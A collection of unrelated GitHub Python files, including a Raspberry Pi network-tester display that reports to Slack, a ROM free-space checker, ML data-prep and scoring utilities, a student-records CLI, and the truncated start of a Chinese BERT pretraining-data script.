+{"seq_id":"17675874819","text":"from google.appengine.api import users\nfrom google.appengine.ext import ndb\n\nclass Account(ndb.Model):\n    user_id = ndb.StringProperty(required=True)\n\nclass Album(ndb.Model):\n    title = ndb.StringProperty(default=\"Untitled Album\")\n    creation_date = ndb.DateTimeProperty(auto_now_add=True)\n    ready = ndb.BooleanProperty(default = False) # Has the html been generated?\n    thumbnail_url = ndb.StringProperty(default=\"\")\n    images = ndb.StringProperty(repeated=True)\n    public = ndb.BooleanProperty(default = True)\n    hidden = ndb.BooleanProperty(default = False) # Is it waiting to be deleted?\n","repo_name":"AnaArsovska/LazyCloudAlbum","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20661683192","text":"import os\nfrom os.path import isfile, isdir, join, dirname\nimport pickle\nfrom sklearn.model_selection import train_test_split\n\n\ndef image_preprocess(image):\n    return normalize(image)\n\n\ndef normalize(image):\n    return image/255.\n\n\ndef get_classes(cache_name):\n    if os.path.exists(cache_name):\n        with open(cache_name, 'rb') as handle:\n            cache = pickle.load(handle)\n        return cache['classes']\n\n    return None\n\n\ndef create_training_instances(\n    train_folder,\n    valid_folder,\n    cache_name,\n    labels=None\n):\n    train_entries = {}\n    valid_entries = {}\n    classes = []\n\n    if cache_name and os.path.exists(cache_name):\n        print('Loading data from cache file')\n        with open(cache_name, 'rb') as handle:\n            cache = pickle.load(handle)\n        return cache['train'], cache['valid'], cache['classes']\n\n    if not train_folder:\n        print('Train folder is not set - exit')\n        return train_entries, valid_entries, classes\n\n    if labels is not None:\n        classes = [f for f in labels if isdir(join(train_folder, f))]\n    else:\n        classes = [f for f in os.listdir(train_folder) if isdir(join(train_folder, f))]\n\n    print(classes)\n\n    train_cnt = 0\n\n    for className in classes:\n        class_dpath = join(train_folder, className)\n\n        train_entries[className] = [join(class_dpath, f) for f in os.listdir(class_dpath) if isfile(join(class_dpath, f))]\n        train_cnt += len(train_entries[className])\n\n    print('Found {} train imgs'.format(train_cnt))\n\n    valid_cnt = 0\n\n    if not valid_folder:\n        train_cnt = 0\n\n        print('Validation folder is not set - Splitting train set to generate valid set')\n        for key, value in train_entries.items():\n            train_entries[key], valid_entries[key] = train_test_split(value, test_size=0.2, random_state=42)\n            train_cnt += len(train_entries[key])\n            valid_cnt += len(valid_entries[key])\n    else:\n        for className in classes:\n            class_dpath = join(valid_folder, className)\n\n            if not isdir(class_dpath):\n                print('Class {} not exist'.format(className))\n\n            valid_entries[className] = [join(class_dpath, f) for f in os.listdir(class_dpath)\n                                        if isfile(join(class_dpath, f))]\n            valid_cnt += len(valid_entries[className])\n\n    print('Found {} train imgs'.format(train_cnt))\n    print('Found {} valid imgs'.format(valid_cnt))\n\n    if cache_name:\n        if not isdir(dirname(cache_name)):\n            os.makedirs(dirname(cache_name))\n\n        cache = {'train': train_entries, 'valid': valid_entries, 'classes': classes}\n        with open(cache_name, 'wb') as handle:\n            pickle.dump(cache, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n    return train_entries, valid_entries, classes\n","repo_name":"KaiL4eK/neural_networks","sub_path":"TSR/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2826,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"22732956286","text":"# Display stats for framebuffer1 LCD\n# Nov 22 2014\n# Updated: Jan 18 2016\n# Adding living room temp and humidity\n# Uses framebuffer 1\n#\n# Picture of how it looks: http://imgur.com/Hm9syVQ\n\nimport pygame, sys, os, time, datetime, urllib, csv, requests, collections, subprocess, json\nfrom pygame.locals import *\nos.environ[\"SDL_FBDEV\"] = \"/dev/fb1\"\n\nimport calendar\nimport time\nfrom functools import lru_cache\n\nfrom threading import Thread\nfrom queue import Queue\nimport io\n\n## Globals\n\nf = open('/etc/network-tester-slack.json')\ndata = f.read()\nslack_url = json.loads(data)['url']\nf.close()\n\nslack_data = dict()\n\nvalues = \"NULL\"\nlabels = \"NULL\"\ntimetopoll = True\nconsole_data = collections.deque(maxlen=10)\nifconfig = subprocess.check_output([\"ip\", \"netns\", \"exec\", \"dp\", \"/sbin/ifconfig\", \"eth0\"])\nconsole_data.extend(ifconfig.decode(\"utf-8\").split('\\n'))\n\n## Set up the screen\n\npygame.init()\n\nDISPLAYSURF = pygame.display.set_mode((480, 320))\npygame.display.set_caption('Stats')\npygame.mouse.set_visible(0)\n\n\n# set up the colors\nBLACK = (  0,   0,   0)\nWHITE = (255, 255, 255)\nRED   = (211,   35,   35)\nGREEN = (  0, 255,   0)\nBLUE  = (  0,   0, 255)\nCYAN  = (  0, 255, 255)\nORANGE = (241, 92, 0)\n\n\ndef run_process(cmd, queue):\n    print(\"subprocess entered\")\n    #proc = subprocess.Popen([\"\"], stdout=subprocess.PIPE)\n    with subprocess.Popen(cmd, stdout=subprocess.PIPE) as proc:\n        for line in io.TextIOWrapper(proc.stdout, encoding=\"utf-8\"):\n            print(line)\n            if 'Loop' in line or 'Highest' in line:\n                queue.put(line.strip())\n    queue.put('finito')\n\n\n# Run this forever\ndef worker(cmd_q):\n    print(\"Worker entered\")\n    global speedtest_started\n    global speedtest_started_and_finished\n    global console_data\n    while True:\n        if speedtest_started:\n            line = cmd_q.get()\n            if line == 'finito':\n                print(\"worker finish\")\n                speedtest_started_and_finished = True\n                continue\n            # add to console .. worry later about pygame stuff\n            console_data.append(line)\n        time.sleep(0.2)\n\n\n\ndef gui_speedtest(started):\n    print(\"gui speedtest {}\".format(started))\n    if started:\n        return True\n    cmd = [\"./long-cmd\"]\n    cmd = [\"ip\", \"netns\", \"exec\", \"dp\",\"python2\", \"-u\", \"fast_integration-py2.py\" ]\n    q = Queue()\n    t = Thread(target=worker, args=(q,))\n    t.daemon = True\n    t.start()\n    p = Thread(target=run_process, args=(cmd,q,))\n    #run_process(cmd, q)\n    p.daemon = True\n    p.start()\n    print(\"gui speedtest {}\".format(started))\n    return True\n\n@lru_cache(maxsize=1)\ndef get_lldp_http(timestamp):\n    # This uses requests to get LLDP information returned\n    lldp_response = {}\n    try:\n        lldp_response = requests.get(\"http://localhost:8080/lldp\").json()\n    except:\n        pass\n    slack_data['lldp_data'] = lldp_response\n    return lldp_response\n\ndef send_slack_data(slack_data):\n    str_slack_data = json.dumps(slack_data, indent=2)\n    response = requests.post(\n        slack_url, data=\"{ 'text': 'NEW RESULTS INCOMING!' }\",\n        headers={'Content-Type': 'application/json'}\n    )\n    response = requests.post(\n        slack_url, data=\"{ 'text': '%s' }\" % str_slack_data,\n        headers={'Content-Type': 'application/json'}\n    )\n\ndef get_lldp():\n    global timestamp\n    lldp_response = get_lldp_http(timestamp)\n\n    myfont = pygame.font.Font(None, 30)\n\n    textsurface = myfont.render('LLDP', False, CYAN)\n    DISPLAYSURF.blit(textsurface,(10, 60))\n\n    try:\n        # draw response on the screen\n        textsurface = myfont.render('Switch: ' + lldp_response['switch_name'], False, ORANGE)\n        DISPLAYSURF.blit(textsurface,(10, 80))\n        textsurface = myfont.render('Port: ' + lldp_response['switch_port'], False, ORANGE)\n        DISPLAYSURF.blit(textsurface,(10, 100))\n    except:\n        # draw response on the screen\n        textsurface = myfont.render('No LLDP Captured', False, ORANGE)\n        DISPLAYSURF.blit(textsurface,(10, 80))\n\n    textsurface = myfont.render('VLANS', False, CYAN)\n    DISPLAYSURF.blit(textsurface,(10, 130))\n\n    try:\n        # draw response on the screen\n        offset = 150\n        for vlan in lldp_response['vlans']:\n            textsurface = myfont.render(vlan, False, ORANGE)\n            DISPLAYSURF.blit(textsurface,(10, offset))\n            offset += 20\n    except:\n        # draw response on the screen\n        textsurface = myfont.render('No VLANS Captured', False, ORANGE)\n        DISPLAYSURF.blit(textsurface,(10, 150))\n\n@lru_cache(maxsize=1)\ndef get_dhcp_http(timestamp):\n    dhcp_response = {}\n    try:\n        dhcp_response = requests.get(\"http://localhost:8080/dhcp\").json()\n    except:\n        pass\n    slack_data['dhcp_data'] = dhcp_response\n    return dhcp_response\n\n\ndef get_dhcp():\n    global timestamp\n    dhcp_response = get_dhcp_http(timestamp)\n\n    myfont = pygame.font.Font(None, 30)\n    textsurface = myfont.render('DHCP', False, CYAN)\n    DISPLAYSURF.blit(textsurface,(240, 60))\n    try:\n        # draw response on the screen\n        myfont = pygame.font.Font(None, 30)\n        textsurface = myfont.render('MAC: ' + dhcp_response['mac_address'], False, ORANGE)\n        DISPLAYSURF.blit(textsurface,(240, 80))\n        textsurface = myfont.render('IP: ' + dhcp_response['ip_address'], False, ORANGE)\n        DISPLAYSURF.blit(textsurface,(240, 100))\n        textsurface = myfont.render('Mask: ' + dhcp_response['subnet_mask'], False, ORANGE)\n        DISPLAYSURF.blit(textsurface,(240, 120))\n        textsurface = myfont.render('Gateway: ' + dhcp_response['gateway'], False, ORANGE)\n        DISPLAYSURF.blit(textsurface,(240, 140))\n    except:\n        # draw response on the screen\n        myfont = pygame.font.Font(None, 30)\n        textsurface = myfont.render('No DHCP Captured', False, ORANGE)\n        DISPLAYSURF.blit(textsurface,(240, 80))\n\n\n\n@lru_cache(maxsize=1)\ndef get_link_http(timestamp):\n    link_response = {}\n    try:\n        link_response = requests.get(\"http://localhost:8080/link\").json()\n    except:\n        pass\n    slack_data['link_data'] = link_response\n    return link_response\n\n\ndef get_link():\n    global timestamp\n    link_response = get_link_http(timestamp)\n\n    myfont = pygame.font.Font(None, 30)\n    textsurface = myfont.render('LINK', False, CYAN)\n    DISPLAYSURF.blit(textsurface,(240, 170))\n    try:\n        if link_response['link'] == 'Link detected: yes':\n            # draw response on the screen\n            myfont = pygame.font.Font(None, 30)\n            textsurface = myfont.render(link_response['speed'], False, ORANGE)\n            DISPLAYSURF.blit(textsurface,(240, 190))\n            textsurface = myfont.render(link_response['duplex'], False, ORANGE)\n            DISPLAYSURF.blit(textsurface,(240, 210))\n        else:\n            # draw no link info on screen\n            myfont = pygame.font.Font(None, 30)\n            textsurface = myfont.render('No link info', False, ORANGE)\n            DISPLAYSURF.blit(textsurface,(240, 190))\n\n    except:\n        # draw response on the screen\n        myfont = pygame.font.Font(None, 30)\n        textsurface = myfont.render('No link info', False, ORANGE)\n        DISPLAYSURF.blit(textsurface,(240, 170))\n\n\n\n# https://stackoverflow.com/questions/42014195/rendering-text-with-multiple-lines-in-pygame\ndef blit_text(surface, text, pos, font, color=pygame.Color('black')):\n    words = [word.split(' ') for word in text.splitlines()]  # 2D array where each row is a list of words.\n    space = font.size(' ')[0]  # The width of a space.\n    max_width, max_height = surface.get_size()\n    x, y = pos\n    for line in words:\n        for word in line:\n            word_surface = font.render(word, 0, color)\n            word_width, word_height = word_surface.get_size()\n            if x + word_width >= max_width:\n                x = pos[0]  # Reset the x.\n                y += word_height  # Start on new row.\n            surface.blit(word_surface, (x, y))\n            x += word_width + space\n        x = pos[0]  # Reset the x.\n        y += word_height  # Start on new row.\n#--\n\ndef page1(disp_surface, counter):\n        # draw some lines to create sections on the screen\n        # pygame.draw.line(disp_surface, ORANGE, [5, 140], [disp_surface.get_width()-5,140], 1)\n\n        # the button to show page 2\n        pygame.draw.rect(disp_surface, ORANGE, (370, 230, 100, 80))\n        # draw text on the button\n        myfont = pygame.font.Font(None, 24)\n        textsurface = myfont.render('Next Page',False, WHITE)\n        disp_surface.blit(textsurface,(380, 260))\n\n\n        # draw the yelp logo\n        yelpImg = pygame.image.load('yelp-logo.png')\n        disp_surface.blit(yelpImg, (0,0))\n\n        # draw text on the screen\n        myfont = pygame.font.Font(None, 40)\n        textsurface = myfont.render('Network Tester',False, RED)\n        disp_surface.blit(textsurface,(270,10))\n\n        # fetch and draw lldp information\n        get_lldp()\n\n        # fetch and draw dhcp information\n        get_dhcp()\n\n        # fetch and draw link information\n        get_link()\n\n        # draw the slack logo\n        slackImg = pygame.image.load('slack-logo.png')\n        disp_surface.blit(slackImg, (120,220))\n\n        # draw the fast.com logo\n        fastcomImg = pygame.image.load('fast.com.jpeg')\n        disp_surface.blit(fastcomImg, (10,220))\n\n\n\ndef page2(disp_surface, counter):\n        # an unused button, but something to play with\n        # pygame.draw.rect(disp_surface, GREEN,(390, 230, 80, 80))\n        # draw some lines to create sections on the screen\n        # pygame.draw.line(disp_surface, ORANGE, [5, 140], [disp_surface.get_width()-5,140], 1)\n        # draw the yelp logo\n\n\n        yelpImg = pygame.image.load('yelp-logo.png')\n        disp_surface.blit(yelpImg, (0,0))\n\n        # draw text on the screen\n        myfont = pygame.font.Font(None, 40)\n        textsurface = myfont.render('Network Tester',False, RED)\n        disp_surface.blit(textsurface,(270,10))\n\n        # draw more text on the screen\n        myfont = pygame.font.Font(None, 18)\n        consoleSurface = pygame.Surface((disp_surface.get_width(), disp_surface.get_height()))\n        consoleSurface.fill((BLACK))\n        big_sentence = \"\\n\".join(console_data)\n        blit_text(consoleSurface, big_sentence, (10,10), myfont, WHITE)\n        disp_surface.blit(consoleSurface, (0,0))\n# the button to show page 1 pygame.draw.rect(disp_surface, ORANGE, (370, 230, 100, 80))\n        # draw text on the button\n        myfont = pygame.font.Font(None, 24)\n        textsurface = myfont.render('Next Page',False, WHITE)\n        disp_surface.blit(textsurface,(380, 260))\n\n\npass\n\nspeedtest_started = False\nspeedtest_started_and_finished = False\ncounter = 0\npage_one = True\nwhile True:\n    # Scan touchscreen events\n    for event in pygame.event.get():\n        if (event.type is MOUSEBUTTONDOWN):\n            pos = pygame.mouse.get_pos()\n            x,y = pos\n            # hack - we know the button is bottom right\n            if x >= 290 and y <= 110:\n                print(\"Success! \" + str(pos))\n                page_one = not page_one\n\n    timestamp = calendar.timegm(time.gmtime())\n    # We need to blank the screen before drawing on it again\n    black_square_that_is_the_size_of_the_screen = pygame.Surface(DISPLAYSURF.get_size())\n    black_square_that_is_the_size_of_the_screen.fill((0, 0, 0))\n    DISPLAYSURF.blit(black_square_that_is_the_size_of_the_screen, (0, 0))\n\n    if page_one:\n        page1(DISPLAYSURF, counter)\n    else:\n        print(\"speedtest_started: {}\".format(speedtest_started))\n        speedtest_started = gui_speedtest(speedtest_started)\n        page2(DISPLAYSURF, counter)\n    myfont = pygame.font.Font(None, 18)\n    # this actually updates the display\n    # console_data.append(json.dumps(slack_data, indent=2))\n    pygame.display.update()\n\n    # send to slack and life is good :)\n    if int(counter) % 60 == 0:\n        send_slack_data(slack_data)\n\n    counter += 1\n    clock = pygame.time.Clock()\n    clock.tick(5)\n","repo_name":"itsgc/flukepi","sub_path":"pydisplay.py","file_name":"pydisplay.py","file_ext":"py","file_size_in_byte":12002,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"31828871178","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nFind free space per bank.\nTaken from Pokémon Prism.\n\"\"\"\n\nfrom __future__ import print_function\n\nimport sys\n\nbank_diff = 0x4000\nnum_banks = 0x80\nbank_ends = []\nbank_space = []\nrom_name = sys.argv[1]\n\nwith open(rom_name + '.gbc', 'rb') as f1, open(rom_name + '-0x00.gbc', 'rb') as f2:\n\tfor bank in range(num_banks):\n\t\tempty_bank = True\n\t\tfor i in range(bank_diff):\n\t\t\tf1.seek((bank + 1) * bank_diff - i - 1)\n\t\t\tf2.seek((bank + 1) * bank_diff - i - 1)\n\t\t\tif f1.read(1) == f2.read(1):\n\t\t\t\tbank_space.append(i)\n\t\t\t\tbank_ends.append(bank_diff * (1 + (bank != 0)) - i)\n\t\t\t\tempty_bank = False\n\t\t\t\tbreak\n\t\tif empty_bank:\n\t\t\tbank_space.append(bank_diff)\n\t\t\tbank_ends.append(bank_diff)\n\ntotal_size = bank_diff * num_banks\nfree_space = sum(bank_space)\npct_free = free_space * 100.0 / total_size\nprint('Free space: {:.0f}/{:.0f} ({:.2f}%)'.format(free_space, total_size, pct_free))\n\nprint()\n\nprint('bank\\tend\\tfree')\nfor bank, end, space in zip(range(num_banks), bank_ends, bank_space):\n\tprint('${:02x}\\t${:04x}\\t${:04x}'.format(bank, end, space))\n","repo_name":"PiaCarrot/pokeorange","sub_path":"utils/bank-ends.py","file_name":"bank-ends.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":149,"dataset":"github-code","pt":"22"}
+{"seq_id":"73524519736","text":"# import from pjslib=====================================\ndef get_upper_folder_path(num, path = ''):\n    if not path:\n        path = os.path.dirname(os.path.abspath(__file__))\n    else:\n        path = os.path.dirname(path)\n    num -= 1\n    if num > 0:\n        return get_upper_folder_path(num, path = path)\n    else:\n        return path\n\nimport sys\nimport os\n\nparent_folder = get_upper_folder_path(1)\nsys.path.append(os.path.join(parent_folder, 'pjslib'))\nsys.path.append(os.path.join(parent_folder))\n\nfrom general import get_upper_folder_path\nfrom general import accepts\nfrom logger import logger1\n#================================================\nimport os\nimport sys\nimport re\nimport collections\nimport pprint\n\n\n\nclass AmericanStockFitness():\n    def __init__(self, parameter_dict):\n        self._next_price_str = parameter_dict['input']['next_price_str']\n        self.buy_sell_switch = parameter_dict['SGA']['buy_sell_switch']\n\n    # population_dict：{‘asd':((datetime_object1,EUR), (datetime_object2,USD), (datetime_object3,JPY),...)}\n    def __call__(self, input_data_dict, solution):\n        if solution.is_f_computed:\n            return\n        # predicted_stock_sequence is sorted by time, from past to future\n        population_name = solution.name\n        predicted_stock_sequence_tuple = solution.classification_result_list\n\n        is_buy = self.buy_sell_switch\n        predicted_days_num = len(predicted_stock_sequence_tuple)\n        average_sum = 0\n        for date,stock in predicted_stock_sequence_tuple:\n            features_tuple = input_data_dict[date][stock]\n            features_dict = dict(features_tuple._asdict())\n            #print (\"features_dict: \", features_dict)\n            if is_buy == 1:\n                value = float(features_dict[self._next_price_str])\n            elif is_buy == 0:\n                value = (-1) * float(features_dict[self._next_price_str])\n            average_sum += value\n\n            # update return_value_by_time_list\n            solution.return_value_by_time_dict[date].append(value)\n\n            #print('profit_percent: ', float(features_dict[self._next_price_str]))\n\n        average = average_sum/predicted_days_num\n        #print('average: ', float(average))\n        solution.fitness = float(\"{:.3f}\".format(average))\n        solution.is_f_computed = True\n        logger1.debug(\"----------SOLUTION_INFO-----------------------\")\n        # logger1.debug(\"solution_name: {}, result:{}\"\n        #              .format(population_name, average, pprint.pformat(solution.classification_result_list)))\n        logger1.debug(\"chromosome_length: {}\"\n                     .format(pprint.pformat(len(''.join([str(x) for x in solution.chromosome_bits])))))\n        logger1.debug(\"chromosome: {}\"\n                     .format(pprint.pformat(''.join([str(x) for x in solution.chromosome_bits]))))\n        logger1.debug(\"decisive feature:{}\\n\"\n                     .format(solution.decisive_feature))\n        logger1.debug(\"classification_result:\\n{}\"\n                     .format(pprint.pformat(solution.classification_result_list)))\n        logger1.debug(\"feature_dict: {}\"\n                     .format(pprint.pformat(solution.feature_dict)))\n        logger1.debug(\"----------SOLUTION_INFO END-------------------\")\n        logger1.debug(\"\\n\\n\")\n        # return tuple\n        return (population_name, average)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"iamlxb3/GA-Forex-Oanda","sub_path":"code/fitness.py","file_name":"fitness.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"6522994857","text":"import os\r\n\r\ndef add_student():\r\n    name = input(\"Enter student name: \")\r\n    marks = []\r\n    for i in range(6):\r\n        mark = float(input(f\"Enter mark {i+1}: \"))\r\n        marks.append(mark)\r\n    with open(\"student_records.txt\", \"a\") as file:\r\n        file.write(f\"{name}:{','.join(map(str, marks))}\\n\")\r\n    print(\"Student added successfully.\")\r\n\r\ndef view_students():\r\n    with open(\"student_records.txt\", \"r\") as file:\r\n        records = file.readlines()\r\n        if not records:\r\n            print(\"No records found.\")\r\n        else:\r\n            for record in records:\r\n                name, marks_str = record.strip().split(\":\")\r\n                marks = list(map(float, marks_str.split(\",\")))\r\n                print(f\"{name}: {marks}\")\r\n\r\ndef edit_student():\r\n    name = input(\"Enter student name to edit: \")\r\n    with open(\"student_records.txt\", \"r\") as file:\r\n        records = file.readlines()\r\n    found = False\r\n    with open(\"student_records.txt\", \"w\") as file:\r\n        for record in records:\r\n            record_name, marks_str = record.strip().split(\":\")\r\n            if record_name == name:\r\n                found = True\r\n                marks = []\r\n                for i in range(6):\r\n                    mark = float(input(f\"Enter new mark {i+1}: \"))\r\n                    marks.append(mark)\r\n                file.write(f\"{name}:{','.join(map(str, marks))}\\n\")\r\n                print(\"Student edited successfully.\")\r\n            else:\r\n                file.write(record)\r\n    if not found:\r\n        print(\"Student not found.\")\r\n\r\ndef delete_student():\r\n    name = input(\"Enter student name to delete: \")\r\n    with open(\"student_records.txt\", \"r\") as file:\r\n        records = file.readlines()\r\n    found = False\r\n    with open(\"student_records.txt\", \"w\") as file:\r\n        for record in records:\r\n            record_name, marks_str = record.strip().split(\":\")\r\n            if record_name == name:\r\n                found = True\r\n                print(f\"{name}: {marks_str} deleted successfully.\")\r\n            else:\r\n                file.write(record)\r\n    if not found:\r\n        print(\"Student not found.\")\r\n\r\ndef main():\r\n    while True:\r\n        print(\"\\nWhat would you like to do?\\n1. Add student\\n2. View students\\n3. Edit student\\n4. Delete student\\n5. Exit\")\r\n        choice = input(\"Enter your choice: \")\r\n        if choice == \"1\":\r\n            add_student()\r\n        elif choice == \"2\":\r\n            view_students()\r\n        elif choice == \"3\":\r\n            edit_student()\r\n        elif choice == \"4\":\r\n            delete_student()\r\n        elif choice == \"5\":\r\n            break\r\n        else:\r\n            print(\"Invalid choice.\")\r\n    print(\"Exiting program.\")\r\n\r\nif not os.path.exists(\"student_records.txt\"):\r\n    open(\"student_records.txt\", \"w\").close()\r\n\r\nmain()\r\n","repo_name":"winlap/Firstone","sub_path":"training ground.py","file_name":"training ground.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"70870474936","text":"import numpy as np\nimport seaborn as sns\nfrom sklearn.model_selection import cross_validate, cross_val_score\n\n# 1.) Model scoring class\n\nclass ModelForScoring():\n    '''\n    Class structure to save a model and print out scores.\n    \n    Lifted and modified from Flatiron DS Live lecture #51, \"Workflow With Pipelines.\"\n    '''\n    \n    def __init__(self, model, model_name, X, y, cv_now='multi', print_now=True):\n        self.model = model\n        self.name = model_name\n        self.X = X\n        self.y = y\n        \n        # for CV results\n        self.cv_results = None\n        self.cv_mean = None\n        self.cv_median = None\n        self.cv_std = None\n        self.cv_f1 = None\n        \n        # Cross-validate now?\n        if cv_now == 'simple':\n            self.cv_simple()\n        elif cv_now == 'multi':\n            self.cv_multi()\n        else:\n            pass\n        \n        # Print results now?\n        if print_now:\n            return pretty_cv(self.cv_results)\n           \n            \n            \n    def cv_simple(self, X=None, y=None, kfolds=5):\n        '''\n        Simple results of cross-validation.\n        \n        X, y: Optional, training data. Otherwise use X, y from object\n        kfolds: Optional, # of folds for CV. Default is 5, bump up to 10 if necessary\n        '''\n        \n        cv_X = X if X else self.X\n        cv_y = y if y else self.y\n        \n        self.cv_results = cross_val_score(self.model, cv_X, cv_y, cv=kfolds)\n        self.cv_mean = np.mean(self.cv_results)\n        self.cv_median = np.median(self.cv_results)\n        self.cv_std = np.std(self.cv_results)\n        \n        \n        \n    def cv_multi(self, X=None, y=None, s_metrics=None, kfolds=5, verbose=1):\n        '''\n        Multi-metric results of cross-validation,\n        with training scores for comparison.\n        \n        Parameters\n        ----------\n        X, y : optional\n            Training data - use X, y from\n            object if not specified.\n        s_metrics : string or list-like\n            Scoring metrics to use. If none,\n            use accuracy and F1 macro.\n        kfolds : int, optional\n            Optional, # of folds for cross-validation.\n            Default is 5.\n        verbose : int, optional\n            Display cross-validation time. Set to 0\n            for cleaner print.\n        '''\n        \n        cv_X = X if X else self.X\n        cv_y = y if y else self.y\n        scoring_metrics = s_metrics if s_metrics else ['accuracy', 'f1_macro']\n        \n        self.cv_results = cross_validate(estimator=self.model,\n                                         X=cv_X,\n                                         y=cv_y,\n                                         scoring=scoring_metrics,\n                                         cv=kfolds,\n                                         verbose=verbose,\n                                         return_train_score=True)\n        \n        if 'accuracy' in scoring_metrics:\n            self.cv_mean = np.mean(self.cv_results['test_accuracy'])\n            self.cv_median = np.median(self.cv_results['test_accuracy'])\n            self.cv_std = np.std(self.cv_results['test_accuracy'])\n        else:\n            pass\n\n        if 'f1_macro' in scoring_metrics:\n            self.cv_f1 = np.mean(self.cv_results['test_f1_macro'])\n        \n        \n        \n    def update_scores(self, acc_dict, f1_dict):\n        '''\n        Append accuracy and F1 scores to\n        dictionaries.\n\n        Paramaters\n        ----------\n\n        acc_dict : dictionary\n            Dictionary to store accuracy scores for\n            various models.\n        f1_dict : dictionary\n            Dictionary to store F1 scores for various\n            models.\n        model : ModelForScoring object (with 'cv_mean' and \n        'cv_f1' defined)\n            Model whose cross-validation scores will be \n            appended to dictionaries specified in arguments.\n        model_name : string\n            Name of key in dictionary, where key value pair\n            is < 'model_name': {score} >\n\n        Returns\n        -------\n        Updated dictionaries, storing cross-validated accuracy\n        and F1 scores for various models.\n        '''\n        \n        acc_dict[self.name] = self.cv_mean\n        f1_dict[self.name] = self.cv_f1\n\n        print(acc_dict)\n        print(f1_dict)\n        \n        \n                                         \n# 2.) Global scoring function\n\ndef pretty_cv(result):\n    '''\n    Generic function to print 'pretty' results from the results of multi-metric `cross_validate`.\n    \n    Can only be used when `scoring` set to `accuracy` and `f1_macro`,\n    and `return_train_score` set to True.\n    '''\n    if 'test_accuracy' and 'test_f1_macro' in result.keys():\n        print('CV Results')\n        print('='*32)\n        print('Accuracy')\n        print('-'*32)\n        print(f\"Training accuracy: {result['train_accuracy'].mean():.3f}\")\n        print(f\"Test accuracy:     {result['test_accuracy'].mean():.3f}\")\n        print('F-1 Score')\n        print('-'*32)\n        print(f\"Training F1 score: {result['train_f1_macro'].mean():.3f}\")\n        print(f\"Test F1 score:     {result['test_f1_macro'].mean():.3f}\")\n    else:\n        print(\"Error: Metrics do not match.\")","repo_name":"toastdeini/Wikipedia-article-quality","sub_path":"src/modeling.py","file_name":"modeling.py","file_ext":"py","file_size_in_byte":5236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36428147180","text":"# Coding=utf-8\n# 本代码基于 Google AI 的 BERT 预训练数据生成代码改编。\n# 主体思想与原始代码相近，但是是基于中文文本特点与 Pytorch 环境进行改编的，\n# 用于将中文无标注文本处理为 BERT 的 masked LM/next sentence 预训练语料。\nimport sys\nsys.path.append(r\"/home/cjr/similarity-model/\")\nimport random\nimport click\nfrom loguru import logger\nimport gzip\nimport jieba\nfrom ernie.classification import tokenization\nimport traceback\n\n\nclass TrainingInstance(object):\n    \"\"\" 句子对形式的单个训练数据实例类型 \"\"\"\n\n    def __init__(self, tokens, segment_ids, word_seg_labels, is_random_next):\n        self.tokens = tokens\n        self.segment_ids = segment_ids\n        self.word_seg_labels = word_seg_labels\n        self.is_random_next = is_random_next\n\n    def __str__(self):\n        s = \"\"\n        s += \"tokens: %s\\n\" % (\" \".join([x for x in self.tokens]))\n        s += \"segment_ids: %s\\n\" % (\" \".join([str(x) for x in self.segment_ids]))\n        s += \"is_random_next: %s\\n\" % self.is_random_next\n        s += \"word_seg_labels: %s\\n\" % (\" \".join([x for x in self.word_seg_labels]))\n        s += \"\\n\"\n        return s\n\n    def __repr__(self):\n        return self.__str__()\n\n\ndef write_instance_to_example_files(instances, tokenizer, max_seq_length, output_file):\n    \"\"\" 以 TrainingInstance 按照 ernie 模型的输入格式将数据写入 gzip 文件\"\"\"\n    try:\n        fout_t = gzip.open(output_file + '.train.gz', 'wb')\n        fout_e = gzip.open(output_file + '.eval.gz', 'wb')\n        total_written = 0\n        for instance in instances:\n            input_ids = tokenizer.convert_tokens_to_ids(instance.tokens)\n            sent_ids = list(instance.segment_ids)\n            pos_ids = [i for i in range(len(input_ids))]\n            seg_labels = list(instance.word_seg_labels)\n            assert len(input_ids) <= max_seq_length\n\n            while len(input_ids) < max_seq_length:\n                input_ids.append(0)\n                sent_ids.append(0)\n                pos_ids.append(0)\n                seg_labels.append(-1)\n\n            assert len(input_ids) == max_seq_length\n            assert len(sent_ids) == max_seq_length\n            assert len(pos_ids) == max_seq_length\n            assert len(seg_labels) == max_seq_length\n\n            # 这里注意：按照原文思路，随机下一句的 label 为 1，而真实下一句的 label 为 0 。\n            next_sentence_label = 1 if instance.is_random_next else 0\n\n            line = create_line((input_ids, sent_ids, pos_ids, seg_labels)) + str(next_sentence_label) + '\\n'\n\n            if total_written < len(instances) * 0.10:\n                fout_e.write(line.encode('utf8'))\n            else:\n                fout_t.write(line.encode('utf8'))\n\n            total_written += 1\n\n    except Exception as e:\n        traceback.print_exc()\n        logger.error(e)\n    finally:\n        fout_t.close()\n        fout_e.close()\n\n    logger.info(\"Wrote %d total instances\" % total_written)\n\n\ndef create_line(pack):\n    res = ''\n    for ids in pack:\n        res += ' '.join(str(id) for id in ids)\n        res += ';'\n    return res\n\n\ndef create_training_instances(input_files, tokenizer, max_seq_length,\n                              dupe_factor, short_seq_prob, rng):\n    \"\"\" 从原始语料生成 TrainingInstance 类实例\"\"\"\n    all_documents = [[]]\n\n    # 输入语料的数据格式：\n    # (1) 每行是一整句完整句子。\n    # (2) 每个段落之间用一个空行隔开。\n    for input_file in input_files:\n        with open(input_file, \"r\") as reader:\n            while True:\n                # TODO 这里没有实现判断是否为 unicode 编码\n                line = reader.readline()\n                if not line:\n                    break\n                line = line.strip()\n\n                # 如果是个空行，则表示新的段落开始。\n                if not line:\n                    all_documents.append([])\n                # 这里先不进行 tokenize 